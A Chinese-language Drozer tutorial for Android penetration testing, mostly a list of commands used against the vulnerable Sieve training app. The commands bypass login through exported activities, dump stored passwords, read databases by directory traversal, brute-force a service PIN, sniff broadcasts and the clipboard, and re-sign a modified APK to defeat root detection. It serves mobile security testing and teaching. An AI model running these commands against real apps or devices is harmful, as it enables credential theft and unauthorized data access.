文章 - 使用Drozer安卓调试手册

1、使用工具以及环境
Win10
夜神模拟器：
python2
adb
drozer
agent.apk

2、工具安装

Python2和adb需要设置环境变量

Drozer需安装在python2的Scripts目录下

把agent.apk安装到模拟器下

3、启动环境
打开agent.apk进行监听

使用命令adb devices找到我们的模拟器设备

（如果找不到设备，则需要在模拟器bin的目录下启动cmd）

因devices 31415端口，使用adb进行端口转发
adb forward tcp:31415 tcp:31415

adb shell pm list package 查看所有包名

启动

drozer console connect

set PYTHONIOENCODING=UTF-8
run app.package.list
run app.package.list -f 包名

获取基本信息run app.package.info -a 包名

查看四大组件攻击面

利用暴露的activity实现登陆绕过
首先使用drozdr检测app中暴露的activity
run scanner.provider.finduris -a 包名，这里可以看到暴露的主件还是有不少：
调用服务组件： run app.service.start --action 服务名 --component 包名服务名
调用activity组件: run app.activity.start --component 包名组件名,可以用来检测登陆绕过漏洞

检测注入 run scanner.provider.injection -a com.mwr.example.sieve
查看是否存在数据泄露 run scanner.provider.finduris -a com.xxx.xzxx
检测目录遍历 run scanner.provider.traversal -a com.mwr.example.sieve

检测可以访问的URL： run scanner.provider.finduris -a 包名
查询URL的数据： run app.provider.query url

检测有没有拒绝服务漏洞：
发送空action: run app.broadcast.send --component 包名广播名
发送空extras: run app.broadcast.send --action 广播名

基本测试命令：
查找已安装应用程序的包名称
dz> run app.package.list -f Sieve
获取应用程序的清单
dz> run app.package.manifest com.mwr.example.sieve
获取攻击面
dz> run app.package.attacksurface com.mwr.example.sieve
检查导出的活动
dz> run app.activity.info -a com.mwr.example.sieve
检查启动意图（主要活动）
dz> run app.package.launchintent com.mwr.example.sieve
调用导出的活动
dz> run app.activity.start --component <package_name> <full_activity_name></full_activity_name></package_name>
检查导出的内容提供者
dz> run app.provider.info -a com.mwr.example.sieve
查找内容 URI
dz> run app.provider.finduri com.mwr.example.sieve
如果在导出的内容提供程序中找到了 URI 路径，则使用以下命令运行该路径以查找任何有用的数据，（在筛选中，所有密码都被转储）
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
将条目插入内容提供商数据库
dz> run app.provider.insert content://com.mwr.example.sieve.DBContentProvider/Passwords --integer _id 3 --string service Facebook --string username tyrone --string password zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T --string email tyrone@gmail.com
查找具有特定权限的应用
dz> run app.package.list -p android.permission.INSTALL_PACKAGES
查找使用特定 UID 运行的应用程序，在本例中为 System
dz> run app.package.list -u 1000
查找应用程序以查看特定的 MIME 类型
dz> run app.activity.forintent --action android.intent.action.VIEW --mimetype application/pdf
查找设备上的所有可浏览活动
dz> run scanner.activity.browsable

遍历
使用内容提供程序读取外部文件
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/system/etc/hosts
目录遍历以读取/sieve 中的数据库
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../../../data/data/com.mwr.example.sieve/databases/database.db >database.db
自动化遍历
dz> run scanner.provider.traversal -a content://com.mwr.example.sieve.FileBackupProvider
利用服务
获取服务
dz> run app.service.info -a com.mwr.example.sieve
利用sieve中的handleMessage()函数（AuthService服务的代码分析）
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
在上面的请求中，PIN 1337可以被暴力破解。
请参阅 MAHH 第 211 页。
利用 CryptoService 加密消息dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 2 3 --extra string com.mwr.example.sieve.KEY testpassword --extra string com.mwr.example.sieve.STRING "string to be encrypted" --bundle-as-obj
利用广播接收器
获取广播接收器
dz> run app.broadcast.info -a com.mwr.example.browser
如果应用程序希望广播接收器捕获意图，然后显示经过身份验证的活动，则只有在登录后才能生成该广播。但是在代码审查之后，攻击者可以使用 drozer 手动发送该意图。
示例广播接收器：
<receiver android:name=".LoginReceiver"
android:exported="true">
<intent-filter>
<action android:name="com.myapp.CORRECT_CREDS" />
</intent-filter>
</receiver>
dz> run app.broadcast.send --action com.myapp.CORRECT_CREDS
（第 217 页 - MAHH）</intent-filter>
使用广播接收器的意图嗅探/捕获意图，这些接收器用于其他广播接收器
dz> run app.broadcast.sniff --action android.intent.action.BATTERY_CHANGED

dz> run app.broadcast.sniff --action com.myapp.USER_LOGIN（发送广播的动作名称）

其他命令
使用 drozer 模块查找 WebView 是否可利用
dz> run scanner.misc.checkjavascriptbridge -a com.vulnerable.js
代码执行
从剪贴板查看复制的文本
dz> run post.capture.clipboard
2.查看app是否允许备份数据
dz> run app.package.backup -f com.mwr.example.sieve
确定一个包是否可调试
dz> run app.package.debuggable -f sieve
如果它是可调试的，您可以作为该应用程序运行命令
shell@android:/ $ run-as com.mwr.example.sieve

反编译/编译/签名apk
使用 apktool 将应用程序转换为 baksmali
$ java -jar apktool.jar d com.joeykrim.rootcheck.apk rootcheck
然后 grep 像“su”这样的字符串绕过根检查（发挥你的创造力）
再次编译应用程序：
$ java -jar apktool.jar b rootcheck/ rootcheck-modified.apk
签署 apk：
$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystoremykey.keystore rootcheck-modified.apk alias_name
注意：使用 jarsigner v1.6，更改版本为
$ sudo update-alternatives --config jarsigner

安装包签名

在Android中，包名相同的两个APK会被认为是同一个应用。当新版本覆盖旧版本时，签名证书必须一致，否则会被拒绝安装（即使开启了“允许未知来源的应用”）。如果APK没有使用自己的证书进行签名，将会失去对版本管理的主动权。本项检测是检测客户端是否经过恰当签名（正常情况下应用都应该是签名的，否则无法安装），签名是否符合规范。

测试步骤

打开cmd，进入到JDK的安装路径，C:\Program Files\Java\jdk1.8.0_111\bin，输入命令:
jarsigner.exe -verify APK文件路径
测试结果如下：